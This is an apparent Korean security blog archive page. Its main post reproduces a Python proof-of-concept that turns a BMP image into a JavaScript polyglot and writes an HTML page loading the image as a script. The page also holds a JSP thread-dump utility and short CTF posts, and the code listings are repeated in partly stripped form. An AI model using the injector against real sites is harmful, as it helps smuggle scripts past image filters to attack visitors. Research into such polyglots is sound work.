Author Archives: apollo89

About apollo89

아폴로89 입니다.

[Python] BMP 이미지안에 스크립크 삽입(bmp script injection)

by apollo89 Posted on 2013년 11월 9일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. bmp 이미지안에 스크립크 삽입

#!/usr/bin/env python2
#==============================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ===========================#
#======= The resulting BMP must be a valid (not corrupted) BMP. ====================#
#======= Author: marcoramilli.blogspot.com =======================================#
#======= Version: PoC (don't even think to use it in development env.) ================#
#======= Disclaimer: ============================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#==============================================================================#
import argparse
import os
 
#---------------------------------------------------------
def _hexify(num):
    """
    Converts and formats to hexadecimal
    """
    num = "%x" % num
    if len(num) % 2:
        num = '0'+num
    return num.decode('hex')
 
#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
    """
    Generates a fake but valid BMP within scriting
    """
    f = open(fname, "wb")
    header = (b'\x42\x4D'  #Signature BM
              b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header
              b'\x00\x00\x00\x00' #Reserved
              b'\x00\x00\x00\x00' #bitmap data offset
              b''+ _hexify( len(payload) ) + #bitmap header size
              b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
              b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
              b'\x00\x00' #nb_plan 
              b'\x00\x00' #nb per pixel
              b'\x00\x10\x00\x00' #compression type
              b'\x00\x00\x00\x00' #image size .. its ignored
              b'\x00\x00\x00\x01' #Horizontal resolution
              b'\x00\x00\x00\x01' #Vertial resolution
              b'\x00\x00\x00\x00' #number of colors
              b'\x00\x00\x00\x00' #number important colors
              b'\x00\x00\x00\x80' #palet colors to be complient
              b'\x00\x80\xff\x80' #palet colors to be complient
              b'\x80\x00\xff\x2A' #palet colors to be complient
              b'\x2F\x3D\x31\x3B' #*/=1;
             )
    # I made this explicit, step by step .
    f.write(header)
    f.write(payload)
    f.close()
    return True
 
#---------------------------------------------------------
def _generate_launching_page(f):
    """
    Creates the HTML launching page
    """
 
    htmlpage ="""
                 <html>
                 <head><title>Opening an image</title> </head>
                 <body>
                      <img src=\"""" + f + """\"\>
                      <script src= \"""" + f + """\"> </script>
                 </body>
                 </html>
              """
    html = open("run.html", "wb")
    html.write(htmlpage);
    html.close()
    return True
 
#---------------------------------------------------------
def _inject_into_file(payload, fname):
    """
    Injects the payload into existing BMP
    NOTE: if the BMP contains \xFF\x2A might caouse issues
    """
    # I know, I can do it all in memory and much more fast.
    # I wont do it here.
    f = open(fname, "r+b")
    b = f.read()
    b.replace(b'\x2A\x2F',b'\x00\x00')
    f.close()
 
    f = open(fname, "w+b")
    f.write(b)
    f.seek(2,0)
    f.write(b'\x2F\x2A')
    f.close()
 
    f = open(fname, "a+b")
    f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
    f.write(payload)
    f.close()
    return True
 
 
#---------------------------------------------------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("filename",help="the bmp file name to be generated/or infected")
    parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
    parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
    args = parser.parse_args()
    print("""
                |======================================================================================================|
                | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.      |
                | It is the end user's responsibility to obey all applicable local, state and federal laws.        |
                | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
                |======================================================================================================|
            """)
    if args.inject_to_existing_bmp:
         _inject_into_file(args.js_payload, args.filename)
    else:
        _generate_and_write_to_file(args.js_payload, args.filename)
       
    _generate_launching_page(args.filename)
    print "[+] Finished!"

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

#!/usr/bin/env python2

#==============================================================================#

#======= Simply injects a JavaScript Payload into a BMP. ===========================#

#======= The resulting BMP must be a valid (not corrupted) BMP. ====================#

#======= Author: marcoramilli.blogspot.com =======================================#

#======= Version: PoC (don't even think to use it in development env.) ================#

#======= Disclaimer: ============================================================#

#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR

#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED

#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE

#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,

#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES

#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR

#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,

#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING

#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE

#POSSIBILITY OF SUCH DAMAGE.

#==============================================================================#

import argparse

import os

#---------------------------------------------------------

def _hexify(num):

"""

Converts and formats to hexadecimal

"""

num = "%x" % num

if len(num) % 2:

num = '0'+num

return num.decode('hex')

#---------------------------------------------------------

#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]

#;alert(_0xe428[0]);"

def _generate_and_write_to_file(payload, fname):

"""

Generates a fake but valid BMP within scriting

"""

f = open(fname, "wb")

header = (b'\x42\x4D' #Signature BM

b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header

b'\x00\x00\x00\x00' #Reserved

b'\x00\x00\x00\x00' #bitmap data offset

b''+ _hexify( len(payload) ) + #bitmap header size

b'\x00\x00\x00\x14' #width 20pixel .. it's up to you

b'\x00\x00\x00\x14' #height 20pixel .. it's up to you

b'\x00\x00' #nb_plan

b'\x00\x00' #nb per pixel

b'\x00\x10\x00\x00' #compression type

b'\x00\x00\x00\x00' #image size .. its ignored

b'\x00\x00\x00\x01' #Horizontal resolution

b'\x00\x00\x00\x01' #Vertial resolution

b'\x00\x00\x00\x00' #number of colors

b'\x00\x00\x00\x00' #number important colors

b'\x00\x00\x00\x80' #palet colors to be complient

b'\x00\x80\xff\x80' #palet colors to be complient

b'\x80\x00\xff\x2A' #palet colors to be complient

b'\x2F\x3D\x31\x3B' #*/=1;

)

# I made this explicit, step by step .

f.write(header)

f.write(payload)

f.close()

return True

#---------------------------------------------------------

def _generate_launching_page(f):

"""

Creates the HTML launching page

"""

htmlpage ="""

<html>

<head><title>Opening an image</title> </head>

<body>

</body>

</html>

"""

html = open("run.html", "wb")

html.write(htmlpage);

html.close()

return True

#---------------------------------------------------------

def _inject_into_file(payload, fname):

"""

Injects the payload into existing BMP

NOTE: if the BMP contains \xFF\x2A might caouse issues

"""

# I know, I can do it all in memory and much more fast.

# I wont do it here.

f = open(fname, "r+b")

b = f.read()

b.replace(b'\x2A\x2F',b'\x00\x00')

f.close()

f = open(fname, "w+b")

f.write(b)

f.seek(2,0)

f.write(b'\x2F\x2A')

f.close()

f = open(fname, "a+b")

f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')

f.write(payload)

f.close()

return True

#---------------------------------------------------------

if __name__ == "__main__":

parser = argparse.ArgumentParser()

parser.add_argument("filename",help="the bmp file name to be generated/or infected")

parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")

parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")

args = parser.parse_args()

print("""

|======================================================================================================|

| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |

| It is the end user's responsibility to obey all applicable local, state and federal laws. |

| Authors assume no liability and are not responsible for any misuse or damage caused by this program |

|======================================================================================================|

""")

if args.inject_to_existing_bmp:

_inject_into_file(args.js_payload, args.filename)

else:

_generate_and_write_to_file(args.js_payload, args.filename)

_generate_launching_page(args.filename)

print "[+] Finished!"

사용법

bmp_script_injection.py -i test.bmp "alert('bmp script injection test');"

1	bmp_script_injection.py -i test.bmp "alert('bmp script injection test');"

먼저 생성된 run.html 소스를 보면, script에 bmp … Continue reading →

Posted in Python/Ruby/Perl | Tagged bmp, image, script injection | Leave a comment

2013 Hack The Packet 본선(2013 HTP)

by apollo89 Posted on 2013년 11월 8일

2013 Hack The Packet 예선전(2013 HTP_prequal) POC 옆 이벤트홀에서 진행된 Hack The Packet 대회의 첫인상은.. 쌍콤하다?ㅋㅋ 대부분이 대학생 같아 보이고, 더 어린 고등학생도 있는 것 같았다.. 이벤트홀 입구에 들어가자 마자 보이는 이상한 조형물들.. 나중에 기사보고 알았는데 이게 스카다(SCADA) 시스템!!(Choo … Continue reading →

Posted in CTF | Tagged hackthepacket, htp, poc | 2 Comments

python dns query

by apollo89 Posted on 2013년 11월 2일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 해당 도메인의 DNS 정보를 가져오는 스크립트를 작성해보았다.. 이 스크립트를 사용하기 위해서는 dnspython(http://www.dnspython.org/) 모듈을 설치해야 … Continue reading →

Posted in Python/Ruby/Perl | Tagged dns, query, 파이썬 | Leave a comment

2013 Hack The Packet 예선전(2013 HTP_prequal)

by apollo89 Posted on 2013년 11월 1일

지난주 주말에 블로깅을 하다가 우연히 Hack The Packet 예선전 공지를 보았다.. 본선 진출시 POC 티켓을 준다는 말에 눈이 번쩍뜨여 참여하기로 했다.. 처음 10분 동안은 계속 홈페이지(http://www.hackthepacket.com/)만 처다보다가 왜 오픈이 안되는가 뒤적거리다 트위터 보고 이미 오픈이 된 것을 확인했다. 문제.. … Continue reading →

Posted in CTF | Tagged hackthepacket, htp, poc | 1 Comment

쓰레드 덤프보는 JSP (threaddump.jsp)

by apollo89 Posted on 2013년 11월 1일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 쓰레드 덤프보는 JSP (threaddump.jsp) 완전 멋지다!ㅋ

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<%-- 
This source is under a creative common license. (Attribution Non-Commercial)
You can use it for non-commercial purposes only.

Author: Dongyoul Kim
Blog: http://greatkim91.tistory.com
Twitter: greatkim91
--%>
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.List"%>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Collections"%>
<%@ page import="java.util.Comparator"%>
<%@ page import="java.lang.management.ManagementFactory"%>
<%@ page import="java.lang.management.MemoryMXBean"%>
<%@ page import="java.lang.management.MemoryUsage"%>
<%@ page import="java.text.DecimalFormat"%>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="java.lang.management.ThreadInfo"%>
<%@ page import="java.lang.management.ThreadMXBean"%>

<%!
	private static String kbytes(long l) {
		NumberFormat nf = new DecimalFormat("#,###");
		return nf.format(l/1000);
	}
	
	private static String percent(double l) {
		NumberFormat nf = new DecimalFormat("#.#");
		return nf.format(l);
	}
	
	private static List<ThreadInfo> loadThreadInfo() {
		ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();
		ThreadInfo[] threadInfoArray = threadMXBean.getThreadInfo(threadMXBean.getAllThreadIds(), Integer.MAX_VALUE);
		
		List<ThreadInfo> threadInfos = new ArrayList<ThreadInfo>(threadInfoArray.length);
		for (ThreadInfo threadInfo : threadInfoArray) {
			threadInfos.add(threadInfo);
		}
		
		Collections.sort(
				threadInfos,
				new Comparator() {
					public int compare(Object o1, Object o2) {
						if (o1 == null || o2 == null) return 0;
						ThreadInfo t1 = (ThreadInfo) o1;
						ThreadInfo t2 = (ThreadInfo) o2;
						return t1.getThreadName().compareTo(t2.getThreadName());
					}
					
				}
				
		);
		return threadInfos;
	}
%>
<html>
<head>
<title>Thread dump</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
<!--
body {
	font: 12px sans-serif;
}

table {
	border: 0px solid #DEDEDE;
}

td, th {
	border: 1px solid #DEDEDE;
	padding: 1px 10px;
}

.right {
	text-align: right;
}
-->
</style>
</head>
<body>
<%
	String uri = request.getRequestURI();
	String namePrefix = request.getParameter("name");
	String stateParam = request.getParameter("state");
	long threadId;
	try {
		threadId = Long.parseLong(request.getParameter("tid"));
	} catch(Exception e) {
		threadId = -1;
	}

	// Memory Info
	MemoryMXBean memoryMXBean = ManagementFactory.getMemoryMXBean();
	MemoryUsage heapMemoryUsage = memoryMXBean.getHeapMemoryUsage();
	MemoryUsage nonHeapMemoryUsage = memoryMXBean.getNonHeapMemoryUsage();
	
	double heapUsedPercent = ((double)heapMemoryUsage.getUsed()/(double)heapMemoryUsage.getMax()) * 100.0D;
	double nonHeapUsedPercent = ((double)nonHeapMemoryUsage.getUsed()/(double)nonHeapMemoryUsage.getMax()) * 100.0D;
%>

<table>
<tr>
<th>Area</th>
<th>Init (KB)</th>
<th>Max (KB)</th>
<th>Used (KB)</th>
<th>Used(%)</th>
</tr>
<tr>
<td>Heap</td>
<td class="right"><%=kbytes(heapMemoryUsage.getInit())%></td>
<td class="right"><%=kbytes(heapMemoryUsage.getMax())%></td>
<td class="right"><%=kbytes(heapMemoryUsage.getUsed())%></td>
<td class="right"><%=percent(heapUsedPercent)%></td>
</tr>
<tr>
<td>Non Heap</td>
<td class="right"><%=kbytes(nonHeapMemoryUsage.getInit())%></td>
<td class="right"><%=kbytes(nonHeapMemoryUsage.getMax())%></td>
<td class="right"><%=kbytes(nonHeapMemoryUsage.getUsed())%></td>
<td class="right"><%=percent(nonHeapUsedPercent)%></td>
</tr>
</table>

<hr/>
<form method="get">
	Show only what thread name starts with <input type="text" name="name" value="<%=(namePrefix != null ? namePrefix : "")%>"/> and thread state is 
	<select name="state">
		<option value="all">All</option>
		<%
			for(Thread.State threadState: Thread.State.values()) {
				boolean selected = threadState.toString().equals(stateParam); 
		%>
		<option value="<%=threadState%>"<%=selected ? " selected=\"true\"" : ""%>><%=threadState%></option>
		<% } %>
	</select>
	<input type="submit" value="go!"/>
</form>
<% if(threadId != -1 || (namePrefix != null && namePrefix.trim().length() > 0)) { %>
<a href="<%=uri%>">Show all threads</a>
<% } %>

<%
	// Thread info
	for(ThreadInfo threadInfo : loadThreadInfo()) {
		StackTraceElement[] stackTraces = threadInfo.getStackTrace();
		
		// filter the current thread
		if (threadInfo.getThreadId() == Thread.currentThread().getId()) continue;
		
		// filter name
		if (namePrefix != null && namePrefix.trim().length() > 0) {
			if (!threadInfo.getThreadName().startsWith(namePrefix)) continue;
		}
		
		// filter state
		if (stateParam != null && !stateParam.equals("all")) {
			if (!threadInfo.getThreadState().toString().equals(stateParam)) continue;
		}
		
		// show only specific thread id
		if (threadId != -1) {
			if (threadInfo.getThreadId() != threadId) continue;
		}
%>
<dl>
<dt>
<b><%=threadInfo.getThreadName()%> (<%=threadInfo.getThreadState()%>)</b> - 
<a href="<%=uri%>?tid=<%=threadInfo.getThreadId()%>"><%=threadInfo.getThreadId()%></a>
</dt>
<dd>
<pre>
<%
		for(int i = 0; i < stackTraces.length; i++) {
			out.println(stackTraces[i]);
		}
%>
</pre>
</dd>
</dl>
<%
	}
%>

</body>
</html>

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<%--

This source is under a creative common license. (Attribution Non-Commercial)

You can use it for non-commercial purposes only.

Author: Dongyoul Kim

Blog: http://greatkim91.tistory.com

Twitter: greatkim91

--%>

<%@ page contentType="text/html; charset=UTF-8" %>

<%@ page import="java.util.List"%>

<%@ page import="java.util.ArrayList"%>

<%@ page import="java.util.Collections"%>

<%@ page import="java.util.Comparator"%>

<%@ page import="java.lang.management.ManagementFactory"%>

<%@ page import="java.lang.management.MemoryMXBean"%>

<%@ page import="java.lang.management.MemoryUsage"%>

<%@ page import="java.text.DecimalFormat"%>

<%@ page import="java.text.NumberFormat"%>

<%@ page import="java.lang.management.ThreadInfo"%>

<%@ page import="java.lang.management.ThreadMXBean"%>

<%!

private static String kbytes(long l) {

NumberFormat nf = new DecimalFormat("#,###");

return nf.format(l/1000);

}

private static String percent(double l) {

NumberFormat nf = new DecimalFormat("#.#");

return nf.format(l);

}

private static List<ThreadInfo> loadThreadInfo() {

ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();

ThreadInfo[] threadInfoArray = threadMXBean.getThreadInfo(threadMXBean.getAllThreadIds(), Integer.MAX_VALUE);

List<ThreadInfo> threadInfos = new ArrayList<ThreadInfo>(threadInfoArray.length);

for (ThreadInfo threadInfo : threadInfoArray) {

threadInfos.add(threadInfo);

}

Collections.sort(

threadInfos,

new Comparator() {

public int compare(Object o1, Object o2) {

if (o1 == null || o2 == null) return 0;

ThreadInfo t1 = (ThreadInfo) o1;

ThreadInfo t2 = (ThreadInfo) o2;

return t1.getThreadName().compareTo(t2.getThreadName());

}

);

return threadInfos;

}

<html>

<head>

<title>Thread dump</title>

<!--

body {

font: 12px sans-serif;

}

table {

border: 0px solid #DEDEDE;

}

td, th {

border: 1px solid #DEDEDE;

padding: 1px 10px;

}

.right {

text-align: right;

}

-->

</style>

</head>

<body>

String uri = request.getRequestURI();

String namePrefix = request.getParameter("name");

String stateParam = request.getParameter("state");

long threadId;

try {

threadId = Long.parseLong(request.getParameter("tid"));

} catch(Exception e) {

threadId = -1;

}

// Memory Info

MemoryMXBean memoryMXBean = ManagementFactory.getMemoryMXBean();

MemoryUsage heapMemoryUsage = memoryMXBean.getHeapMemoryUsage();

MemoryUsage nonHeapMemoryUsage = memoryMXBean.getNonHeapMemoryUsage();

double heapUsedPercent = ((double)heapMemoryUsage.getUsed()/(double)heapMemoryUsage.getMax()) * 100.0D;

double nonHeapUsedPercent = ((double)nonHeapMemoryUsage.getUsed()/(double)nonHeapMemoryUsage.getMax()) * 100.0D;

<table>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

</table>

<hr/>

Show only what thread name starts with <input type="text" name="name" value="<%=(namePrefix != null ? namePrefix : "")%>"/> and thread state is

for(Thread.State threadState: Thread.State.values()) {

boolean selected = threadState.toString().equals(stateParam);

<% } %>

</select>

</form>

<% if(threadId != -1 || (namePrefix != null && namePrefix.trim().length() > 0)) { %>

<a href="<%=uri%>">Show all threads</a>

<% } %>

// Thread info

for(ThreadInfo threadInfo : loadThreadInfo()) {

StackTraceElement[] stackTraces = threadInfo.getStackTrace();

// filter the current thread

if (threadInfo.getThreadId() == Thread.currentThread().getId()) continue;

// filter name

if (namePrefix != null && namePrefix.trim().length() > 0) {

if (!threadInfo.getThreadName().startsWith(namePrefix)) continue;

}

// filter state

if (stateParam != null && !stateParam.equals("all")) {

if (!threadInfo.getThreadState().toString().equals(stateParam)) continue;

}

// show only specific thread id

if (threadId != -1) {

if (threadInfo.getThreadId() != threadId) continue;

}

<dl>

<dt>

<b><%=threadInfo.getThreadName()%> (<%=threadInfo.getThreadState()%>)</b> -

</dt>

<dd>

<pre>

for(int i = 0; i < stackTraces.length; i++) {

out.println(stackTraces[i]);

}

</pre>

</dd>

</dl>

}

</body>

</html>

간단한 메모리 정보와 현재 쓰레드들의 스택들을 보여줍니다. … Continue reading →

Posted in Java/JSP, Util/Tools | Tagged jsp, threaddump | Leave a comment

보호된 글: webhacking.kr 58 [web, 150]

by apollo89 Posted on 2013년 10월 30일

보호 글이라서 요약이 없습니다.

Posted in webhacking.kr | Tagged web, webhacking.kr | 댓글을 보려면 비밀번호를 입력하세요.

보호된 글: webhacking.kr 47 [bonus, 150]

by apollo89 Posted on 2013년 10월 29일

보호 글이라서 요약이 없습니다.

Posted in webhacking.kr | Tagged bonus, webhacking.kr | 댓글을 보려면 비밀번호를 입력하세요.

보호된 글: webhacking.kr 32 [codeing, 150]

by apollo89 Posted on 2013년 10월 28일

보호 글이라서 요약이 없습니다.

Posted in webhacking.kr | Tagged codeing, webhacking.kr | 댓글을 보려면 비밀번호를 입력하세요.

보호된 글: webhacking.kr 31 [web, 150]

by apollo89 Posted on 2013년 10월 25일

보호 글이라서 요약이 없습니다.

Posted in webhacking.kr | Tagged web, webhacking.kr | 댓글을 보려면 비밀번호를 입력하세요.

보호된 글: webhacking.kr 27 [web, 150]

by apollo89 Posted on 2013년 10월 24일

보호 글이라서 요약이 없습니다.

Posted in webhacking.kr | Tagged web, webhacking.kr | 댓글을 보려면 비밀번호를 입력하세요.

Apollo89.com

아폴로씨의 잡다한 경험들..

Author Archives: apollo89

About apollo89

[Python] BMP 이미지안에 스크립크 삽입(bmp script injection)

2013 Hack The Packet 본선(2013 HTP)

python dns query

2013 Hack The Packet 예선전(2013 HTP_prequal)

쓰레드 덤프보는 JSP (threaddump.jsp)

보호된 글: webhacking.kr 58 [web, 150]

보호된 글: webhacking.kr 47 [bonus, 150]

보호된 글: webhacking.kr 32 [codeing, 150]

보호된 글: webhacking.kr 31 [web, 150]

보호된 글: webhacking.kr 27 [web, 150]

카테고리

최신 댓글

메타